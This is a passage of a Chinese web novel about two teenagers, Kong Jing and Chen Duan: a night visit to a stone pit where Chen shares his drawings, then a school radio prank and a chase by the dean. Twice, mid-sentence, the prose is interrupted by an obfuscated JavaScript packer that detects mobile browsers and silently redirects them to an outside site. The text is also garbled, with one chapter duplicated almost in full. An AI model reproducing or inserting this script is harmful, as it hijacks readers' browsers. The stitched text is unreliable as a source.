孔净仍旧坐在屋子里,微抬一下眼,从成堆的旧物件和门洞中看见陈端拎着那条好几十斤的口袋像拎随便一个什么东西似的,脚步轻快,两趟就移走一座孔净眼中的“大山”。 李贤梅一忙起来火气就大,本想挑刺说几句,但见陈端默不作声只埋头帮忙干活,背心前后两块都被汗湿了也不停下来歇一会,她眉头紧皱,想到有人帮着干总比她一个人累死的好,于是眼不见心不烦地转了个方向。 傍晚时分,所有东西都收拾完,要带走的封箱装袋,不要的就打电话让收废品的用三轮车拉走。 孔大勇像是有生物雷达,家里的大工程刚结束,他就背着手哼着小曲儿回来了,“你们还利索嘛!这么快就弄完了!” 李贤梅坐在老式电风扇下连个眼皮都没抬,孔大勇嘿嘿笑道:“今天大家都辛苦了,晚上我请客下馆子!” 仍旧是从小卖店买的硬菜,四菜一汤,还有一箱啤酒饮料。 这晚气氛意外和谐,尽管孔大勇还是口若悬河、牛皮吹破天,李贤梅也还是偶尔阴阳怪气,但他们谈笑着,从早前为了讨生活不得不背井离乡在甘肃第一次进厂,说到后来辗转来到闽城,李贤梅在瓷砖厂烧窑、孔大勇在石材厂从磨工做起,再到后来因缘际会承包了石材厂…… 种种辛酸苦辣都是生活滋味,虽然不如意之事十有八||九,但他们还是携手一起走过了快二十年光阴。 孔大勇说到兴奋处,笑嘻嘻地喊:“儿砸,过来陪老爸喝一个!” 李贤梅也喝了半瓶啤酒,她酒量不好,这会儿已经有点晕了,一手撑着额角,听见孔大勇的话只是朝斜对面的少年背影看了一眼,脸上的敌意并不比平时多。 孔净和陈端已经吃完了,两人围着旁边的红色理石桌正在玩飞行棋,骰子是今天收拾东西从角落里扒拉出来的旧物件,棋盘是陈端用两张A4纸现画的,棋子则用孔净以前去河边捡来的小石子代替,孔净喜欢亮色,就把棋子也涂成彩色,陈端爱好简明的风格,就打算用裸石当棋子。 “太寡淡了啦。”孔净帮他把四个小石子涂成颜色不一的墨黑、靛蓝、烟蓝和纯白。 同那几颗桃红棋子一起卧在她掌心里,被她抛起又握住,陈端一时分不清色彩斑斓的到底是她手中的石子,还是她具有魔力的纤长手指。 听见孔大勇的声音,孔净用抓着石子的手叩了叩桌面,“爸叫你。” 陈端回神,应了声,然后起身去那边桌。 过了会回来。 少年身影挡住顶上的老式灯泡发出的白光,孔净闻到淡淡的酒味,她倾身隔着桌面小声问说:“未成年人可以喝酒吗?” 她说话时微微歪着头,一侧的长发就从她肩头滑落,扫到桌上的棋盘。 眼皮上撩,黑白分明的眼睛被细碎灯光点缀,从陈端的角度看来,柔和又轻盈。 陈端从孔净的眼眸里看见自己的倒影,他轻抿一下唇,轻声说:“没喝酒。” 孔净:“?” “喝的小麦饮料。” “……”孔净说,“所以我们晚饭吃的也不是牛肉,而是头上长了犄角并且会哞哞叫的猪?” 陈端轻柔一笑,“差不多。” 孔净无语,握着骰子在嘴边吹了口气,然后一掷,“是六!” 开门红,运气不要太好,她挪动“停机坪”上的其中一颗桃红棋子,走了六格之后,再次掷骰子,这次是一。 又一颗亮黄棋子跳出了“停机坪”。 轮到陈端,他摩挲着因为太旧边缘棱角都磨成弧线的骰子,正要抛出去,一只纤白手掌忽然伸过来,盖在他手背上。 孔净眼睛晶亮,“等会去石坑。” 她怕说话声被孔大勇和李贤梅听见,胸口压着桌沿几乎整个上半身都伏低在桌面上,黑长的头发像绸缎一样铺陈,发尾被风扇吹着有一下没一下地擦过陈端搭在桌上的手臂。 陈端觉得有点晕,眼前的景象变得迷离。 一只手被孔净无意识一直抓着,另一手手掌一翻,指尖似有若无,像是捏住了但其实并没有真的接触地圈住几缕发丝。 “去干什么?”他轻声问。 孔净眨眨眼,不答反问:“去不去?” “去。” 陈端觉得不光是石坑,其实无论孔净叫他去哪儿,他都会说,去。 夜风沁凉,但也可能是做贼心虚的缘故,孔净猫腰在黑暗中绕过这里一堆那里一箱的行李时,浑身燥热,心里直打鼓,生怕碰掉什么东西惊醒已经熟睡的孔大勇和李贤梅。 陈端在前面打头阵,已经轻手轻脚开了挂锁将铁门拉开。 点子是孔净提的,先慌的人也是她,她蹲在后面两手不停地用指尖去挠陈端,催促他动作再快点。 月光从檐下滑落,陈端抿紧双唇,忍着后腰传来的痒意,肩膀一偏,整个人似游鱼般从门缝溜了出去。 孔净如法炮制,紧随其后。 出了门也还是不敢出声,两个身影踮着脚尖顺着后面的瓷砖厂厂房跑出好长一段路后,才敢降下速度。 孔净拍拍胸口,往后看一眼,黑黢黢的厂房投下浓黑阴影,耸立的烟囱影子被拉长,碾过石厝,倒向不远处已经熄灯沉睡的石材厂。 孔净一颗心仍咚咚跳个不停,很兴奋。 转过脸,一束蓝白色光柱从陈端手中的电筒照在她的脚下。 “怕吗?”被小麦饮料浸润过的嗓子就是不一样,陈端的声音在清爽中带一点颗粒感,轻轻磨过孔净的耳道,在这样静谧的夜晚尤其好听。 “不怕啊。”孔净说,“该你怕才对。” “为什么?” “因为我比你大,我是姐姐啊。” 孔净说得理所当然,其中当然有逗笑的成分。 这句陈端没应了。 孔净反而来劲,“你叫一声姐姐我听听。” 陈端不叫,看都没看孔净一眼。 孔净又挠他,“没礼貌!” 陈端任由孔净挠。 两人在光柱的引领下踩着石子路朝林子里进发,密林遮蔽光线,整个空间变得很小又很辽阔,冥寐中传来悠远的虫鸣和鸟叫声。 孔净不自觉往陈端这侧靠了靠,两人穿着短袖的胳膊偶尔摩擦一下,温热的触感让孔净好受些了。 陈端抿紧唇,隔了半晌忽然说:“不是说是姐姐,所以不怕?” “谁说我怕!”孔净抱着胳膊的手立刻放下来,人也朝旁边让开一大……一小步。 刚才还贴在一起的手臂突然拉开距离,凉风一下吹散那微弱的热度。 陈端微微一怔,后悔刚才那句,想说点什么,旁边孔净突然“哇”了一声,指着前面说:“今晚的月亮原来这么圆,这么亮!” 原本遮天蔽日的密林忽地在前面的岔道被一只无形的手拂开,一轮圆月高挂中天,月光轻薄白纱般温柔流泻。 “走啦,快点!”孔净拽着陈端往前跑,没跑几步,被月光照亮的巨石坑忽地浮现在眼前。 正是盛夏时节,坑底长满了各种植物,崖壁上也错落生出花草,在月色的拂照下形成深浅、形状不一的影子,在深夜的林风中曼舞。 这景象美妙又奇诡,孔净趴在石坑边忽然打了个摆子,好像看久了就会不自觉被石坑吸进去似的。 察觉到孔净真的害怕了,陈端反而不再拿话激她。 他轻轻晃动手电,蓝白色光柱在低一级的石阶上描涂出看不见的画作。 他说:“坐一会就回去。” “不要。”孔净坚持,“都到这里了,说好了要下去。” 明天一早就走了,谁知道以后还会不会再回来。 陈端忽然转过脸,“你相信我吗?” 孔净在月色中和他对视,虽然不知道他为什么突然这样问,但还是肯定道,“当然。” 陈端弯了下唇,两侧的酒窝在脸上投下阴影,他说:“跟着我,我会接住你。” 这个巨石坑在过去的六年间陈端曾无数次上下,因此从哪里下去、到哪里该踩哪一个石阶、两个石阶之间相差高度有多少,他都了如指掌。 他咬着手电,身手矫健地往下一跃,每一次在孔净看来都像是纵身跳向深渊。 但每一次,陈端都稳稳落在石阶上,然后在月色中转身朝她伸来双臂,告诉她,“别怕,我接住你。” 最开始的两次,孔净两条小腿都在发抖,闭上眼睛心一横就跳了,风刃擦过耳际撩起长发,身体随之失重,她几乎要惊叫出声。 但只在零点零几秒之后,她就感到被一双修长而结实的手臂托住,少年的手掌贴着她两侧肋骨,既不会叫她吃痛也不会让她悬空。 后来孔净胆子逐渐变大,甚至觉得刺激好玩。 最后落地的那次,还张开双臂做了个展翅的动作,然后轻盈往下一扑,同底下的人抱了个满怀。 很短暂的拥抱,孔净很快推开少年,取过手电,好奇地打量四周。 陈端微微喘息着,不知过了多久,直到听到孔净的声音他还觉得鼻尖的香气和手臂间的触感还真实存在。 “真的有个洞!”孔净手电光柱照着旁边一处凹进去的挑石,挑石底下半人高的洞穴很干净,台子上甚至有一个中间陷下去的厚石板种着铜钱草。 “这就是你的秘密基地?”孔净不用陈端带路,自己先矮身钻了进去。 洞穴从外面看着不大,钻进去之后才发现里面四四方方居然有两三平米,不过高度不太够,孔净用蹲行的方式行进到最里边,觉得不方便干脆就席地坐了下来。 陈端也进来了,他没有犹豫,伸手扒开角落的干草堆从里面拖来一只灰色铝合金行李箱,在离孔净半米远的地方和她面对面坐着。 孔净用手电一扫,认出这只行李箱,“是你刚来的时候拎的那个。” 什么时候不见了他们居然都不知道,可见当时他们对陈端的关注有多不够。 “嗯。” 陈端并不觉得有什么,他看了眼孔净,慢慢抬手伸向行李箱扣袢。 孔净被这一眼看得一下紧张起来,身体先一步预料到陈端接下来将要向她袒露的是怎样的秘密。 “等下!”孔净忽然叫停,她说,“很久以前我就对这个石坑很好奇了,今天只是想下来看看到底长什么样……我的意思是,你如果觉得不方便,可以不——” “没关系。”陈端声音很轻,顿了顿,他定定看向孔净,“我想让你知道。” 闹不清缘由,在这个即将离开被孔净一家收留了六年的地方的夜晚,他被一股冲动驱使着,想把自己,剖给孔净看。 手电蓝白光柱照耀下,陈端的眼睛像是被蒙上了一层极薄的山雾,不似白天以一双裸||露黑眸示人时的清淡,这双眼在此时此刻莫名让人觉得孤零、无依。 孔净一下被击中,就像六年前的那晚,陈端被孔大勇第一次带回石厝,大家都睡了,陈端一个人孤零零地站在黑暗中,静默又无助地看向蚊帐内的孔净。 孔净鼓噪的心一下静了下来。 秘密压在心底太久会变成汪洋,守着秘密的人也就成了溺水的人。 也跟那晚一样,孔净愿意对陈端伸出一只手,无论结果是她会被陈端拖下水,还是她把陈端拉上岸。 “咔哒!” 行李箱扣袢开了。 手电光扫过,箱子里一半是摞成山的手绘画作,一半是消毒水、纱布、胶带…… 孔净心口猛地一跳,“你还一直跟人打架吗?” “没有,”陈端拿起一瓶消毒水把印有生产日期和有效日期的那面转向孔净,“以前的,没扔。” 孔净认真看过后点了点头,然后手电光对准旁边的手绘画。 A4、A5、B5……各种尺寸的都有,也不拘泥于绘画纸,很多是画在作业本、课本、甚至广告招贴背面。 孔净仅有的美术修养来自于小学课堂,上初中之后大多数美术课都被正科老师霸占,因此她其实并不懂得怎么去欣赏一幅画的好与坏。 但所有包括文学、绘画、电影在内的文艺作品,说到底都是表达人类思想和感情的载体,孔净虽然不能从技法层面去解析,却能最直接地用眼和心最直接地感受到这些画作带给她的视觉和情绪冲击。 又因为每张画的右下角都有落款日期,所以孔净能清晰知晓每一幅画具体完成于陈端几岁,以及当时的他处于哪个阶段。 “这些……是你刚来的时候画的?” 孔净把手电递给陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孔净其实也不太确定,她不经常安慰人,因为唯一的好友阿禾性格大大咧咧,如果难过了只要请她喝一杯奶茶或者许诺长大以后请她去看明星演唱会,她就会嘟嘟囔囔,大“吼”一声之后立马笑逐颜开。 她姿势显得笨拙,又加上陈端比她高很多,要整个上半身都挺直,高举手臂才能完成捋毛的动作。 却眼见着陈端比她更呆滞,像是被点了穴位一样。 ……果然,男生和女生还是不太一样。 陈端跟其他男生相比又更不一样,赵兰兰喜欢看的偶像剧都是骗人的。 孔净“哈哈”干笑两声,收回手。 她没注意到,手电灯照着两人的影子,高出一头不止的那个刚才分明朝矮的那个轻轻歪了歪头。 “这个,是你妈妈吗?” 孔净指着其中一幅画作上穿红色连衣长裙的美丽背影问道。 虽然陈端没明说,但是孔净直觉是这样,因为相比于周遭杂乱弯折的线条,这个背影用笔很温柔。 陈端喉结轻滚一下,目光落向孔净手指的地方,“嗯。” 有个问题盘旋在孔净心里很久,今晚终于有机会问出口,“……你妈妈、去哪里了?” “……死了。” 陈端声音淡淡的,听不出哀伤的成分,可他从孔净手中抽走那幅画的时候动作很轻。 “对不起,我不知道……” “没事。” 孔净沉默着,心里却翻起惊涛骇浪,原来,原来真实的故事版本并不是像孔大勇说的那样,陈端的父母并不是杳无音信。 “那、你爸爸呢?” “也死了。” 陈端的语气陡然生出锋刃。 气氛一下冷凝,外面传来“咕咕”的鸟鸣声,很空旷,有回响。 顿了顿,孔净忽然侧过身,张开双臂抱住陈端。 不像刚才从最后一级台阶跳下来被陈端接住后转瞬就推开,这个拥抱持续的时间很久,也很结实,不留任何缝隙。 孔净两只胳膊绕过陈端的肩膀,双手在他颈后交叉,一只手掌按着他的后脑勺将他的脑袋压向自己的右肩,另一只手掌拍抚着他的后背。 孔净知道语言有时候很苍白,现在无论说什么陈端的父母都不可能起死回生,但是她很想安慰陈端,既然刚才捋毛不奏效,那就拥抱好了。 拥抱是所有动物包括人类在内表达亲昵和友善的最直接的方式。而且,杂志上说拥抱可以使人分泌诸如催产素、多巴胺之类的激素,这些激素具有减轻焦虑、提高情绪等等奇妙疗效。* 从第三视角上看,陈端就像动漫里肢体僵硬被小两号的人类强行抱住的巨型狼犬,孔净甚至都能感觉到他后背一瞬间僵成了钢板。 而且钢板摸起来烫手。 ……所以,这样也没有用吗? 孔净讪讪的。 但就在她身体往后退即将拉开两人之间的距离时,陈端的身体突然很有实感地压向她。 比不留缝隙的程度还要紧,他抱着孔净,像是在海里游荡已久的人在溺水之前终于抱住一块浮木,急切又贪婪。 “这样,很好。”陈端的下巴整个垫在孔净的右肩上,声音比之前还要有颗粒感,甚至称得上磁性低哑,是很近很近的距离轻易穿过孔净散落在侧的发丝,直抵耳际。 这下换孔净有点呆了。 她没有和人这样亲密接触过,有记忆以来就算是孔大勇和李贤梅也没有这样抱过她。 两具身体相贴,手臂互相交缠,体温逐渐趋同。 孔净暗自调整呼吸,几下之后,接上刚才的节奏拍抚陈端的后背。 “有好点吗?”她轻声问。 过了好几秒,才又听到耳边传来一道低低的,“嗯。” 孔净无声微笑,轻拍陈端后背的动作一直没停。 不知道过了多久,久到孔净觉得自己仰起的脖子和挺直的腰背开始泛酸,手腕也有些乏力。 “额,好像很晚了,是不是该回去了……?”她小小声提议,想说自己并不是不想继续安慰陈端,只是下次可以换个宽敞点的空间。 “……嗯。” 陈端的声音比孔净的还要小,他很慢很慢地直起身体,慢到让孔净怀疑他们好像是长在一起的藕节,分开不仅会令一方感到疼痛,而且还粘连着看不见的藕丝。 更让孔净不解的是陈端直起身的同时也把脸偏向了一边,紧接着他就开始垂着眼睛收拾东西,直到他把行李箱送出洞口,准备要离开时,都没有再正面和孔净对视过一眼。 孔净尴尬地想,就说陈端这么淡漠的人,肯定不喜欢和人有肢体接触嘛。 好不容易表示一下姐弟情谊,居然让他这么不适应。 回去的路上,孔净有意打破沉默,好让两人之间的氛围快点回到平常。 “我前天看到一首诗,觉得很美,念给你听好不好? “每天你与宇宙的光一同游戏。 ……为了你,我建造了一连串的快乐, 它们像野生的山谷一样蔓延。 ……”* 女孩清透的嗓音在午夜的森林响起,她念到兴起处转过身倒退着走在前面,手中的电筒光柱和眼里的光亮都透澈地投向一个方向。 少年跟着光,紧随其后。 月色浪漫,拥抱绵长,在孔净看来那个安慰性质的拥抱已经结束,可是陈端为什么会觉得他还被孔净抱着? 他的身体、他的灵魂,甚至能清晰捕捉到孔净的每一次呼吸,每一个心跳。 这感觉让他心惊肉跳,甚至不敢直视孔净。 21. 第 21 章 “每天你与宇宙的光一同游戏。 敏锐的访客,在花与水之间来临 ……” 又是一年夏天,周五下午全校集体大扫除,为即将到来的高考布置考场。 校园广播放送过一段前奏音乐之后,响起广播员清甜饱满的声音。 “…… 多少次我们看燃烧的晨星亲吻我们双眼, 在我们头上霞光如折扇般展开。 我的词句如雨水淋湿你…… ……我想要对你做 夏天对凤凰木做的事情。”* 尽管清安高中校风开放,读到最后一句,坐在封闭的广播室里,仿佛还是能听到从各个教室瞬间爆发的哄闹和尖叫声。 “……夏天又到了,一首聂鲁达的小诗送给大家,怡情的同时帮助大家放松心境。长风破浪会有时,直挂云帆济沧海,预祝所有高三的学姐学长高考顺利,金榜题名。最后,温馨提醒大扫除结束之后希望大家安全归家,不要在外逗留,我们下期再见。” 孔净念完最后一句,轻轻关掉麦克风,同时将背景音乐调大,然后才吁出一口长气,抬手拍拍脸。 弯腰去捡散落在地上的稿件,手肘碰到旁边的椅子,穿蓝白校服的少年后腰倚着椅背,手上的铅笔在素描本上停顿了好一会儿,最新落笔的那处石墨痕迹尤其深,像是被刚才刚才的诗带偏了思绪。 “怎么会想到播这首?”他问。 “因为孟——” “咚咚!” 听到敲门声,孔净一个哆嗦,“快快快,主任来了……” 孔净把陈端从椅子上拽起来,人仰马翻之际,门一下被人从外面推开,“孔净!果然是你!好勇!!” 林语珂显然是跑过来的,胸口起伏不定,张大嘴巴满脸惊诧又兴奋。 看见屋子里还有另一个人,她眉心一跳,下意识抬手去捋跑乱了的斜刘海。 “吓死……”孔净悬起的心回落一半,但还是担惊受怕,赶紧过来把门关严实了。 林语珂没走近,就倚在书架边,“放心啦,我上来时专门瞄了一眼,主任在办公室训人,根本没空管刚才的广播。” 孔净心有余悸,七手八脚把稿件往书包里塞,“你怎么找到这里来了?是大扫除……” “不是啦。”林语珂脸对着孔净,但余光一直不自觉往别的方向瞟,“是孟学长找你!” 陈端本打算出去等,听到这句冷淡视线从说话人脸上掠过,林语珂又抬手拨了下刘海。 孔净加快速度收书包,“他在哪?” “教室外面,”林语珂很好奇,语不惊人死不休,“孟学长是在追你吗?” “啊?”孔净摆手,“没有啦。” “但你不是说这首诗就是他让你帮忙用广播念的。”林语珂追着问。 “念诗是念诗,跟他追我有什么关系。”孔净转过头,跟陈端说,“要不你去外面等我,我把卫生收拾下再出去。” 陈端站着没动,继续听下文。 林语珂说:“可是他不会专门来教室找我啊!照理说快高考了,他应该在家好好复习才对。” “那是因为我有事拜托他啊。”孔净想快点离开,奈何林语珂一直聊孟书宇,而且陈端视线一直落在自己脸上,她心烦意乱,以为沾了脏东西,一边抹一边说,“我跟孟学长真的只是普通学长和学妹!平时没多少交集,谈不上什么追不追和喜欢不喜欢!” “好啦,你别妨碍我打扫卫生。”广播室就这么大,陈端又长得高,往那儿一站,好像半个空间都被他占据,孔净把他推出去。 林语珂看见陈端单手把孔净的书包搭在一边肩膀上,门开了,下午的阳光照在他身上,颀长身影被勾勒出柔色毛边,但他本人气质又矜冷,两种矛盾元素在他身上猛烈撞击,教人移不开眼。 孔净用鸡毛掸子快速扫过桌子和书架,一转头看见林语珂对着已经闭合的门板出神,不禁笑说,“你干嘛每次见到陈端都这样。” 林语珂一愣,不好意思地吐吐舌,“因为他真的长得……” “很帅。”因为听多了大家对陈端外表的描述,孔净不用过脑,直接帮林语珂补全后面的话。 陈端一走,林语珂终于放松了,她不免旧事重提,“你们真的是姐弟吗?” 在她看来,陈端是端方俊美的长相,孔净的话如果挡住这双略有攻击性的猫咪眼,给人的感觉是清新甜氧。不过孔净一贯的表情是带笑的,猫咪眼眯起来,所谓的攻击性也全被亲和抵消了。 一个长相俊美性格冷淡,一个外表甜美性格亲和,两厢对比,南辕北辙,哪里像姐弟了。 “额,遗传基因有自己的想法。”关于陈端的身世说起来太复杂,再说也没必要逢人就一五一十全盘托出,孔净囫囵带过。 “是基因彩票才对吧。”林语珂见过一次孔大勇,心说当时要不是孔净先冲着那个跨坐在路边摩托车上剔牙的红皮大汉叫了声爸,她绝对挠破脑袋也想不出他会和孔净陈端是一家。 “差不多了,还要回教室看看需不需要帮忙,走啦!” 孔净放下鸡毛掸子,先开门出去。 “等下……”林语珂跟在后面,从打开的门缝看见走廊上的少年,动作一顿。 刚才在广播室里有空调,出去之后陈端把校服外套脱了,同孔净的书包一起单手拎着反搭在右边肩膀上,左边手肘也垫在栏杆上,从肩骨蛮横蔓延到手腕上的淡咖色伤痕无遮无拦,同他冷白的皮肤一起暴露在橘光夕照里。 陈端左手臂上有条伤疤,在清安高中不是秘密。 刚开始很多女生觉得惋惜,认为这疤使白壁生瑕,简直罪大恶极。 但后来见过陈端穿迷彩服撑着手臂在公共洗手台前洗脸的样子,额前黑发被冷水浸湿,水珠在他少年感未退的英朗侧脸勾勒柔光弧线,镜头下拉,却是一条因撑在水槽边缘而连带着伤疤和青筋都隐隐凸起的劲长手臂,完完全全的暴烈美学。 于是有些有审美怪癖的人甚至声称,那条形似囚锁的伤疤意同维纳斯的断臂,因迷人的伤残更加引人遐想。 林语珂承认,以陈端绝佳的长相和温冷的气质,使得手臂上触目惊心的疤痕也成了某种点缀。 但是无论外表如何具有迷惑性,林语珂身为孔净的现任同桌也算和陈端认识,她隐隐觉得安静柔和只是陈端给人的假象,扒掉这层皮,内里也许是另一番极致反差。 不好惹。 但,“不是啊,我弟很乖的啦。”——这是孔净时常挂在嘴边的话。 林语珂就:“……” 就在林语珂愣神的一瞬,走廊上刚才还眉宇清冷的人忽然抬眼对着这边笑了下,林语珂当然不会自恋到以为陈端是在对自己笑,但是她抬手抓抓脸强行唤回差点被勾走的神思,“……居然笑起来有酒窝。” 紧接着她就看见孔净走到陈端面前抬手要去拿自己的书包,陈端站直,右边肩膀往上一抬,让孔净扑了个空。 “长得高了不起哦。”孔净侧身朝他撞去。 其实孔净没用什么力道,但是为了配合达到她想要的效果,陈端就摇晃着往另一侧歪了下。 “哈!”孔净果然笑出声。 “走了。”陈端另一手插兜,不经意一笑,迈开长腿走在前面。 “慢点。”孔净叫他。 陈端就真的慢下来,等孔净跟上来了,两人一起并肩往楼梯间那边走去。 林语珂刚想叫孔净等等自己,低头看见自己手上居然拿着一本广播室的书,想还回去,一转头就看见走廊那边气势汹汹走来一个圆肚矮胖的地中海男人。 “孔孔、孔净!”林语珂瞬间汗毛倒立,“……教导主任来了!!!” 她逃跑的姿势太明显,主任阅人无数,从背影就判断出她有事。 “站住!前面拿一本红色封皮书那个!我叫你站住!!” 孔净在三楼就听见林语珂的声音,转过身往上跑一截,赶紧伸手接住从高两级台阶飞扑下来的人。 林语珂两边手肘被孔净托住,手里的书也掉了,脸皱成苦瓜样:“我的脚……好痛!” “扭到了?”孔净手忙脚乱。 “叫你站住听见没有!我知道你是谁!”头顶上方,教导主任中气十足的冷喝也响了起来。 孔净和林语珂同时身体一抖。 “你先走。” 站在矮两级台阶上一直没做声的陈端忽然开口。 听到他说的是“你先走”,而不是“你们先走”,林语珂默默:“……” 孔净:“可是……” 陈端语气和姿态都很放松,不待教导主任下来,他先挡在孔净面前主动迎了上去。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317125|183059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先先躲一下。”没管挨着楼梯间的教室是几年级几班,孔净扶着林语珂赶紧从后门溜进去。 紧接着就听见外面传来教导主任粗冷声线,“你挡着我干什么?!” 陈端还是一手插兜一手拎书包的姿势,站在矮三级的台阶上,从视觉上看着和大肚便便的教导主任差不多高。 “皮痒就去蹭树!想喝茶自己滚去办公室!”教导主任气急败坏,因为他往左一步,陈端也往左,他往右,陈端也往右,要说不是故意的简直有鬼。 “如果是刚才广播的事,您找我就行,跟其他人没关系。” 陈端说话很有礼貌,奈何行为乖张得过分。 主任气得七窍生烟,“你当我傻?!刚才广播里的声音是男的?” 陈端语气诚恳:“或许您不知道有变声器这种东西。” 主任:“……给我滚下去!先跑五千米再用变声器播给我播一遍!!” 孔净躲在教室里听得头皮发麻,确定主任押着陈端走远之后,她才扶林语珂下楼。 孔净想说去医务室看看比较稳妥,林语珂不肯,“你送我去外面站牌坐公交车就好。” 这样一来,等孔净带林语珂去教室收东西,然后把人送去校门外,再转去操场,已经是半小时后的事了。 中途也只是简单跟孟书宇交涉几句。 夏天日落时间晚,建在教学楼前面的塑胶操场还浸润在柠檬色光线里,陈端一个人绕圈跑,校服后襟顺着脊骨往下那部分面料因为被汗水打湿颜色要比周围的要深一些。 他倒是不怎么喘,长手长脚匀速跑着,像是把惩罚当成了日常锻炼。 教学楼里那些原本忙着做完扫除就回家的人聚集在走廊上,多数是女生,三五成群,窃窃私语着,打闹着,有时还会爆发出一声“我才不是在看他!” 教导主任让人端了把椅子来,就坐在操场边的一棵大榕树下,双手抱臂垫在凸出的圆肚子上,粗短的腰身挺得板正,俨然要监督到底的铁面无私模样。 “……” 孔净整理了下表情,走近,“主任您好,我是高二(7)班的——” “孔净啊,不用介绍,我知道你。”主任对这位从入学开始就稳居光荣榜的好学生很有印象,“今年高考完,明年就轮到你们这届了,好好努力,到时候风光办一场升学宴,老师也来借光喝一杯。” “谢谢老师,我会努力的。”孔净笑起来很甜,气质干净,完全契合师长和同学心目中的三好学生形象。 主任面对好学生也有了笑模样,虽然看起来还是很凶,但语气很和善,“找老师有什么事?学习、生活遇到困难都可以说。” “……没有遇到困难,其实老师,”孔净目光悄摸往操场那边瞟了瞟,想说她是来自首的,却发现本该继续绕圈跑的人突然停了下来,正横穿过操场往这边走来。 主任一下从椅子上站起来,“谁让你停下来的?!还有两千米!你想干什么?” 陈端像是没听见,汗水覆满前额,顺着鼻梁滑落,他撩起衣角擦了一下。 一截劲瘦而结实的腰忽然暴露在夕阳余晖里,两边腰线在髂骨处收窄,因为刚刚剧烈运动过肌肉紧绷,几块腹肌卡在下装松紧带上。 几秒后,教学楼那边传来此起彼伏的尖叫声,比之前听见广播里念情诗还要激烈百倍。 主任脸色铁青,大步朝始作俑者走去。 孔净拔腿跟在后面,“其实老师,不关陈端的——唔!” 她话没说完,迎面朝他们走来的陈端忽然戏剧性地脱掉校服上衣,被锁链式疤痕缠覆的左手臂随意一扬,白色校服在半空中划过一道弧线之后,精准兜在孔净头上。 下一秒,教学楼那边爆发的尖叫声像是要掀翻屋顶,主任气沉丹田:“陈——端!!!” 当孔净扒掉砸套在头脸上的衣服,看见的就是主任挺着大圆肚子追着裸着上半身的陈端满操场跑的场景。 教学楼走廊上传来欢呼、呐喊、尖叫,狂热程度堪比阿禾描述的巨星见面会现场。 相比于陈端此刻绝无仅有的反叛挑衅行为,一个多小时前的广播站插曲已经变成小巫见大巫。 恐怕主任被遛着跑过几圈操场后,也根本记不起那件事了。 “……” 孔净把陈端的衣服折了折,垫在旁边台阶上坐着看。 20-30 第21章 夏天对凤凰木做的事情 “每天你与宇宙的光一同游戏。 敏锐的访客, 在花与水之间来临 ……” 又是一年夏天,周五下午全校集体大扫除,为即将到来的高考布置考场。 校园广播放送过一段前奏音乐之后,响起广播员清甜饱满的声音。 “…… 多少次我们看燃烧的晨星亲吻我们双眼, 在我们头上霞光如折扇般展开。 我的词句如雨水淋湿你…… ……我想要对你做 夏天对凤凰木做的事情。”* 尽管清安高中校风开放, 读到最后一句, 坐在封闭的广播室里,仿佛还是能听到从各个教室瞬间爆发的哄闹和尖叫声。 “……夏天又到了,一首聂鲁达的小诗送给大家, 怡情的同时帮助大家放松心境。长风破浪会有时,直挂云帆济沧海, 预祝所有高三的学姐学长高考顺利,金榜题名。最后, 温馨提醒大扫除结束之后希望大家安全归家, 不要在外逗留, 我们下期再见。” 孔净念完最后一句,轻轻关掉麦克风,同时将背景音乐调大,然后才吁出一口长气, 抬手拍拍脸。 弯腰去捡散落在地上的稿件, 手肘碰到旁边的椅子, 穿蓝白校服的少年后腰倚着椅背,手上的铅笔在素描本上停顿了好一会儿,最新落笔的那处石墨痕迹尤其深,像是被刚才刚才的诗带偏了思绪。 “怎么会想到播这首?”他问。 “因为孟——” “咚咚!” 听到敲门声,孔净一个哆嗦,“快快快, 主任来了……” 孔净把陈端从椅子上拽起来,人仰马翻之际,门一下被人从外面推开,“孔净!果然是你!好勇!!” 林语珂显然是跑过来的,胸口起伏不定,张大嘴巴满脸惊诧又兴奋。 看见屋子里还有另一个人,她眉心一跳,下意识抬手去捋跑乱了的斜刘海。 “吓死……”孔净悬起的心回落一半,但还是担惊受怕,赶紧过来把门关严实了。 林语珂没走近,就倚在书架边,“放心啦,我上来时专门瞄了一眼,主任在办公室训人,根本没空管刚才的广播。” 孔净心有余悸,七手八脚把稿件往书包里塞,“你怎么找到这里来了?是大扫除……” “不是啦。”林语珂脸对着孔净,但余光一直不自觉往别的方向瞟,“是孟学长找你!” 陈端本打算出去等,听到这句冷淡视线从说话人脸上掠过,林语珂又抬手拨了下刘海。 孔净加快速度收书包,“他在哪?” “教室外面,”林语珂很好奇,语不惊人死不休,“孟学长是在追你吗?” “啊?”孔净摆手,“没有啦。” “但你不是说这首诗就是他让你帮忙用广播念的。”林语珂追着问。 “念诗是念诗,跟他追我有什么关系。”孔净转过头,跟陈端说,“要不你去外面等我,我把卫生收拾下再出去。” 陈端站着没动,继续听下文。 林语珂说:“可是他不会专门来教室找我啊!照理说快高考了,他应该在家好好复习才对。” “那是因为我有事拜托他啊。”孔净想快点离开,奈何林语珂一直聊孟书宇,而且陈端视线一直落在自己脸上,她心烦意乱,以为沾了脏东西,一边抹一边说,“我跟孟学长真的只是普通学长和学妹!平时没多少交集,谈不上什么追不追和喜欢不喜欢!” “好啦,你别妨碍我打扫卫生。”广播室就这么大,陈端又长得高,往那儿一站,好像半个空间都被他占据,孔净把他推出去。 林语珂看见陈端单手把孔净的书包搭在一边肩膀上,门开了,下午的阳光照在他身上,颀长身影被勾勒出柔色毛边,但他本人气质又矜冷,两种矛盾元素在他身上猛烈撞击,教人移不开眼。 